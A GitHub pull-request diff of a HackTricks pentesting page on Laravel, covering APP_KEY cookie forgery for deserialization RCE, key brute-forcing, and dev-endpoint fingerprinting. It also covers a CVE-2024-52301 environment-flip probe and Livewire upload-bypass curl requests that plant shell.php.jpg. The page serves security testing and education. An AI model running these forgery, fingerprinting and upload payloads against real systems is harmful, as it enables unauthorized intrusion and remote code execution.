Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
95 changes: 78 additions & 17 deletions src/network-services-pentesting/pentesting-web/laravel.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,10 +8,10 @@ Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions

---

## APP_KEY & Encryption internals (Laravel \u003e=5.6)
## APP_KEY & Encryption internals (Laravel >=5.6)

Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (`Illuminate\\Encryption\\Encrypter`).
The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like:
The raw ciphertext that is finally sent to the client is Base64 of a JSON object like:

```json
{
Expand All @@ -23,8 +23,8 @@ The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON
```

`encrypt($value, $serialize=true)` will `serialize()` the plaintext by default, whereas
`decrypt($payload, $unserialize=true)` **will automatically `unserialize()`** the decrypted value.
Therefore **any attacker that knows the 32-byte secret `APP_KEY` can craft an encrypted PHP serialized object and gain RCE via magic methods (`__wakeup`, `__destruct`, …)**.
`decrypt($payload, $unserialize=true)` will automatically `unserialize()` the decrypted value.
Therefore any attacker that knows the 32-byte secret `APP_KEY` can craft an encrypted PHP serialized object and gain RCE via magic methods (`__wakeup`, `__destruct`, …).

Minimal PoC (framework ≥9.x):
```php
Expand All @@ -38,7 +38,7 @@ Inject the produced string into any vulnerable `decrypt()` sink (route param, co
---

## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automates the whole process and adds a convenient **bruteforce** mode:
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automates the whole process and adds a convenient bruteforce mode:

```bash
# Encrypt a phpggc chain with a known APP_KEY
Expand All @@ -65,9 +65,9 @@ The script transparently supports both CBC and GCM payloads and re-generates the

The exploitation workflow is always:
1. Obtain or brute-force the 32-byte `APP_KEY`.
2. Build a gadget chain with **PHPGGC** (for example `Laravel/RCE13`, `Laravel/RCE9` or `Laravel/RCE15`).
3. Encrypt the serialized gadget with **laravel_crypto_killer.py** and the recovered `APP_KEY`.
4. Deliver the ciphertext to the vulnerable `decrypt()` sink (route parameter, cookie, session …) to trigger **RCE**.
2. Build a gadget chain with PHPGGC (for example `Laravel/RCE13`, `Laravel/RCE9` or `Laravel/RCE15`).
3. Encrypt the serialized gadget with `laravel_crypto_killer.py` and the recovered `APP_KEY`.
4. Deliver the ciphertext to the vulnerable `decrypt()` sink (route parameter, cookie, session …) to trigger RCE.

Below are concise one-liners demonstrating the full attack path for each real-world CVE mentioned above:

Expand All @@ -93,28 +93,47 @@ curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https:

## Mass APP_KEY discovery via cookie brute-force

Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline.
Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), public internet scanners (Shodan, Censys, …) leak millions of ciphertexts that can be attacked offline.

Key findings of the research published by Synacktiv (2024-2025):
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
* Dataset July 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
* Dataset May 2025 » 625 k tokens, 3.56 % keys cracked
* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).

The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
The private Go tool `nounours` pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.


## Laravel Tricks

### Debugging mode

If Laravel is in **debugging mode** you will be able to access the **code** and **sensitive data**.\
If Laravel is in debugging mode you will be able to access the code and sensitive data.\
For example `http://127.0.0.1:8000/profiles`:

![](<../../images/image (1046).png>)

This is usually needed for exploiting other Laravel RCE CVEs.

Note: In Laravel 11.9.0–11.35.1, the debug exception page was affected by an XSS vulnerability fixed in 11.36.0. Causing an exception while injecting HTML/JS in parameters may lead to client-side code execution if debug is enabled. Always test only on targets where debug pages are exposed and permitted by scope.

### Fingerprinting & exposed dev endpoints

Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:

- `/_ignition/health-check` → Ignition present (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured.
- `/_debugbar` → Laravel Debugbar assets; often indicates debug mode.
- `/telescope` → Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions.
- `/horizon` → Queue dashboard; version disclosure and sometimes CSRF-protected actions.
- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint.

```bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
```

### .env

Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called `.env` that can be accessed using some path traversal under: `/../.env`
Expand Down Expand Up @@ -179,11 +198,52 @@ def encrypt(string):

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\/\/206.189.25.23:31031\/api\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\/\/206.189.25.23:31031\/api\/configs\";}}","expires":1605141157}')
```

### CVE-2024-52301 – environment manipulation via argv

Under certain server configurations, PHP populates `$_SERVER['argv']` for HTTP requests (e.g., when `register_argc_argv=On`). Older Laravel environment detection logic scans `argv` for CLI-style flags like `--env=...`. If the web request query string injects such a flag, the framework can be tricked into loading a different environment (e.g., `local`), potentially enabling debug mode or loading alternative `.env` files.

Practical test:

```bash
# Try forcing the "local" environment in a GET request
curl -i 'https://target/?--env=local'
# Some servers require URL-encoded dashes
curl -i 'https://target/?%2D%2Denv=local'
```

Impact depends on the application’s config (debug gates, environment-specific routes, conditional middleware). If you observe a change in behaviour (different banners, verbose errors, new routes), you likely flipped environments.

Mitigations you’ll see in patched apps: framework updates that ignore `argv` in HTTP contexts and hardening of environment detection. Server-side: set `register_argc_argv=Off` for FPM/Apache, and never rely on environment for authz decisions.

### CVE-2024-47823 – Livewire file upload extension bypass

Apps using Livewire components for uploads (v2/v3) may rely on client-provided filenames or naive server-side extension checks. This flaw allows bypassing extension restrictions and can lead to arbitrary file write to public disks, escalating to RCE when the upload directory is web-served.

Pentest flow:

- Fingerprint Livewire (presence of `window.Livewire`, `data-wire`, or `wire:` attributes in HTML, requests to `/livewire/upload` or `/livewire/message/...`).
- Try polyglot/ambiguous names and forced content types:

```bash
# Double extension + forced content-type
curl -sk -X POST https://target/livewire/upload \
-F 'files[][email protected];type=image/png;filename=shell.php.jpg' \
-F 'component=profile-uploader' -F 'expires=9999999999' -F 'signature=<sig>'

# Some apps accept direct component endpoints
curl -sk -X POST https://target/livewire/message/profile-uploader \
-H 'Content-Type: multipart/form-data' -F '[email protected];.jpg'
```

- Check common public storage paths for execution: `/storage/`, `/uploads/`, `/images/`, or S3 buckets proxied via CDN. A successful write that keeps the `.php` suffix in a web-served path yields straightforward RCE.

Defence-in-depth you should expect: update Livewire to patched versions, validate MIME using server-side sniffing (`finfo`), normalise/strip extensions server-side, store uploads on non-executable disks, and deny `text/x-php` via web server rules.

### Laravel Deserialization RCE

Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Expand All @@ -205,6 +265,7 @@ Another deserialization: [https://github.com/ambionics/laravel-exploits](https:/
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-47823 advisory – Livewire upload bypass](https://github.com/advisories/GHSA-f3cx-396f-7jqp)

{{#include ../../banners/hacktricks-training.md}}